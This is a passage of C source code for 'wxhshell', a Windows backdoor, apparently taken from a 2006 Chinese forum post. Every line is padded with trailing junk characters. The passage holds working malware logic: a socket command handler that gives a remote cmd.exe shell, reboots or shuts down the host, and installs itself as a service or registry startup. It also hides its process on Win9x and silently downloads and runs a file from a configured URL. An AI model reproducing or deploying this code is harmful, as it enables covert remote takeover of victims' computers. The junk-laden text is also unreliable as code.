    switch(cmd[0]) { P:g!~&Q  
  7y^)n<'co  
  // 帮助 lfBCzxifC  
  case '?': { -)%\$z  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); X(Af`KOg[  
    break; 48,*sTRq  
  } to13&#o  
  // 安装 kQU4s)J  
  case 'i': { %x#S?GMV<  
    if(Install()) Ip{hg,>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `/1rZ#  
    else DzhLb8k  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); mqeW,89  
    break; )*%uG{h  
    } C2LG@iCIE  
  // 卸载 $Ud9v4  
  case 'r': { V@+sNM  
    if(Uninstall()) )[Rwc#PA;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); k4&adX@Y  
    else 7/&taw%i  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); yq, qS0Fo  
    break; &7kLSb&|;  
    } xe OfofC(l  
  // 显示 wxhshell 所在路径 )%/ Ni^  
  case 'p': { YeJTB}  
    char svExeFile[MAX_PATH]; 1V5N)ty  
    strcpy(svExeFile,"\n\r"); >mQD/U  
      strcat(svExeFile,ExeFile); F+c8 O  
        send(wsh,svExeFile,strlen(svExeFile),0); {<IHiB35q  
    break; Q~^v=ye  
    } gRs @T<k2  
  // 重启 tZ) ,Z<  
  case 'b': { _0[s]  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); xNY&*jI  
    if(Boot(REBOOT)) 0dx%b677d  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -= c&K&  
    else { uYFy4E3  
    closesocket(wsh); u<"-S63+  
    ExitThread(0); z+fy&NPl  
    } cooicKS7  
    break; EP4?+"Z  
    } ko!]vHB9`  
  // 关机 Yk{4 3yw  
  case 'd': { FBi&M Z`  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 'D+njxCk.A  
    if(Boot(SHUTDOWN)) sNG 7fi.|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }q_Iep  
    else { 9u^za!pE  
    closesocket(wsh); /L`qOr2E  
    ExitThread(0); QeQwmI  
    } " u]X/ {L  
    break; cor!Sa>  
    } s z7<u|  
  // 获取shell BN`tiPNEp  
  case 's': { 9nd,8Nji  
    CmdShell(wsh); *wdNZ  
    closesocket(wsh); )CH\]>-FO  
    ExitThread(0); @gx]3t*]I  
    break; HlxgJw~<  
  } Q9X+H4`}y  
  // 退出 h^zcM_  
  case 'x': { *[3tGiUJ  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); x;&iLQZh  
    CloseIt(wsh); %B>>J%  
    break; Urm(A9|N  
    } RLh%Y>w  
  // 离开 d ~CZ9h  
  case 'q': { ,PWMl [X  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); `cmzmQC  
    closesocket(wsh); w`Cs,  
    WSACleanup(); St3/mDtH  
    exit(1); R4f_Kio  
    break; meD?<g4n~"  
        } gr >>]C$  
  } . P! pC  
  } r[nvgzv@  
x]"N:t  
  // 提示信息 K{G\=yJ((  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); CDFX>>N  
} y $>U[^G[  
  } 8}OII\  
G $iC@,/  
  return; ^,fMs:  
} =.q8*7UY  
hLSas#B>  
// shell模块句柄 w"FBJULzn9  
int CmdShell(SOCKET sock) y}> bJ:  
{ /80RO:'7  
STARTUPINFO si; *46hw(L  
ZeroMemory(&si,sizeof(si)); k 3 oR:  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; |("zW7g  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; BWG#W C  
PROCESS_INFORMATION ProcessInfo; Z'\{hL S  
char cmdline[]="cmd"; -* piC(  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); $tca: b}Mk  
  return 0; } |? W  
} MryY<s  
N ._&\fHY  
// 自身启动模式 qa)Qf,`  
int StartFromService(void) mT#ebeBaf  
{ !Im{-t  
typedef struct ,wH]|`w  
{ hT$/B|  
  DWORD ExitStatus; uY$BZEuAZ  
  DWORD PebBaseAddress; b#{[Pk,w9  
  DWORD AffinityMask; >Byxb./*  
  DWORD BasePriority; drf?7%v  
  ULONG UniqueProcessId; T.#Vma  
  ULONG InheritedFromUniqueProcessId; 6 #Afj0  
}   PROCESS_BASIC_INFORMATION; i|OG#PsY-  
 C\5"Kb  
PROCNTQSIP NtQueryInformationProcess; YhFd0A?]  
=MokbK2  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; o" e]9{+<  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; -|3feYb'  
xa|/P#q  
  HANDLE             hProcess; 85]3y%f9  
  PROCESS_BASIC_INFORMATION pbi; 5"I8ric  
VF] ~J=>i  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); _';oT*#  
  if(NULL == hInst ) return 0; =?gDM[t^  
nEboet-#D0  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 8k -l`O~  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); pv;ZR  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); `\5u/i'Ca!  
,5HC &@  
  if (!NtQueryInformationProcess) return 0; };s8xGW:k3  
`oGL==  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); kF29~  
  if(!hProcess) return 0; zY&/^^y  
;ax%H @o  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Tg|/UUn  
SK G!DKQ  
  CloseHandle(hProcess); MY" 8!  
&5o ln@YL  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); G [$u`mxV^  
if(hProcess==NULL) return 0; Cp.qL  
h;?H4j  
HMODULE hMod; Y5?OJO{h"  
char procName[255]; ;<)<4N"  
unsigned long cbNeeded; hqVxvS"  
Fl0 :Z  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); nN$aZSb`  
;ro%Wjg`}  
  CloseHandle(hProcess); i"J`$u  
Z_}[hz$  
if(strstr(procName,"services")) return 1; // 以服务启动 2UJjYrm  
ud,=O X q  
  return 0; // 注册表启动 RDWUy (iX  
} # 8fq6z|JZ  
N#zh$0!8bJ  
// 主模块 + tza]r:  
int StartWxhshell(LPSTR lpCmdLine) <b$.{&K  
{ |;k@Zlvc  
  SOCKET wsl; iX\]-_D  
BOOL val=TRUE; 95%QF;h  
  int port=0; {Jn*{5tZ>  
  struct sockaddr_in door; %1^E;n  
bfl%yGkd/|  
  if(wscfg.ws_autoins) Install(); #<EMG|&(  
?3|jB?:k  
port=atoi(lpCmdLine); ;'~GuZ#I  
m6 @,J?X  
if(port<=0) port=wscfg.ws_port; E[2>je  
QdtGFY4f,  
  WSADATA data; C|hD^m  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; >hsvRX\_ `  
dD.;P=AP  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   _,{R3k  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); lbUUf}   
  door.sin_family = AF_INET; h}knn3"S  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); yON";|*\m  
  door.sin_port = htons(port); W_%@nm\y  
B9i< ="=p  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { #9FY;~  
closesocket(wsl); !aQQq[  
return 1; rIJv(&l  
} uk=f /nT  
t+<?$I[  
  if(listen(wsl,2) == INVALID_SOCKET) { O/1:2G/`  
closesocket(wsl); Hu-Y[~9^L:  
return 1; c|KN@)A  
} 3L1MMUACL  
  Wxhshell(wsl); ~H1 ZQ[  
  WSACleanup(); $$f89, h  
49d02AU%  
return 0; $9}jU#Z|hd  
bji^b@ us_  
} PRQEk.C  
S2,tv  
// 以NT服务方式启动 odaCKhdk  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) L-z9n@=8\  
{ :N>n1tHL;A  
DWORD   status = 0; :Cdqj0O3u  
  DWORD   specificError = 0xfffffff; aTU[H~dTU  
"f|xIK`c  
  serviceStatus.dwServiceType     = SERVICE_WIN32; @:%p#$V  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Y6w7sr_R  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; R+b~m!5 8  
  serviceStatus.dwWin32ExitCode     = 0; 7*I:cga  
  serviceStatus.dwServiceSpecificExitCode = 0; m]D3ec\K'  
  serviceStatus.dwCheckPoint       = 0; K);)$8K  
  serviceStatus.dwWaitHint       = 0; 5zi}O GtXv  
|zCT~#  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); x*7Q  
  if (hServiceStatusHandle==0) return; "HwSW4a]  
^sqTgrG  
status = GetLastError(); ##r9/`A  
  if (status!=NO_ERROR) }|u>b!7_.  
{ tB)nQw7  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED;  up==g  
    serviceStatus.dwCheckPoint       = 0; u0{R;)  
    serviceStatus.dwWaitHint       = 0; 7,7-E&d  
    serviceStatus.dwWin32ExitCode     = status; *VV#o/Q p  
    serviceStatus.dwServiceSpecificExitCode = specificError; -|g9__|@  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); G5,g$yNs  
    return; qac8zt#2 C  
  } -,a@bF:  
P1qQ)-J  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; X`Jo XNqm  
  serviceStatus.dwCheckPoint       = 0; 5`\"UC7?%  
  serviceStatus.dwWaitHint       = 0; cyTBp58  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Zgw4[GpL  
} T-a [  
Y?#aUQc  
// 处理NT服务事件,比如:启动、停止 ?d' vIpzO!  
VOID WINAPI NTServiceHandler(DWORD fdwControl) J?"v;.K|hU  
{ qe2@bG%2+F  
switch(fdwControl) M.3ULt8  
{ !%Bhg?  
case SERVICE_CONTROL_STOP: \&\U&^?  
  serviceStatus.dwWin32ExitCode = 0; *4OB 88$  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; @p%WFNR0  
  serviceStatus.dwCheckPoint   = 0; DI0Wk^m  
  serviceStatus.dwWaitHint     = 0; V~MyX&`  
  { ^I:f4RWo  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); (i;,D-  
  } :j&-Lc  
  return; J;*2[o.N  
case SERVICE_CONTROL_PAUSE: k7kPeq  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 9Yhl q$;g  
  break; a[=;6!  
case SERVICE_CONTROL_CONTINUE: b ,e"x48q  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; hV}C.- 6h  
  break; ;Iax \rQ  
case SERVICE_CONTROL_INTERROGATE: ^;'FC vd  
  break; ok1-`c P  
}; k2/t~|5  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); q+2v9K@  
} ^Eif~v  
6%Pvh- ~_  
// 标准应用程序主函数 d]vom@iI  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) {sW>J0  
{ -,q qQf  
3}5Ya\x  
// 获取操作系统版本 2$b JMx>  
OsIsNt=GetOsVer(); *FFD G_YG?  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 1vinO!  
1h3`y  
  // 从命令行安装 ($Q|9>5,  
  if(strpbrk(lpCmdLine,"iI")) Install();  y7vA[us  
#xh M&X  
  // 下载执行文件 fyEXnmB;  
if(wscfg.ws_downexe) { 49=L9:  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 4mvnFY}   
  WinExec(wscfg.ws_filenam,SW_HIDE); ',!>9Dj  
} L),r\#Y(v  
4+:'$Nw  
if(!OsIsNt) { vG:S(/\>  
// 如果时win9x,隐藏进程并且设置为注册表启动 3LZvlcLb  
HideProc(); 7LsVlT[  
StartWxhshell(lpCmdLine); nd"$gi  
} Y/T-2)D  
else hcoZ5!LvT  
  if(StartFromService()) [I gqK5@  
  // 以服务方式启动 )JhB!P(  
  StartServiceCtrlDispatcher(DispatchTable); p\Fxt1Y@X  
else U$WGe >,  
  // 普通方式启动 ;Irn{O  
  StartWxhshell(lpCmdLine); ;Kh?iq n^  
h0")NBRV&  
return 0; f^lhdZ\  
}
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只看该作者 1 发表于: 2006-10-10
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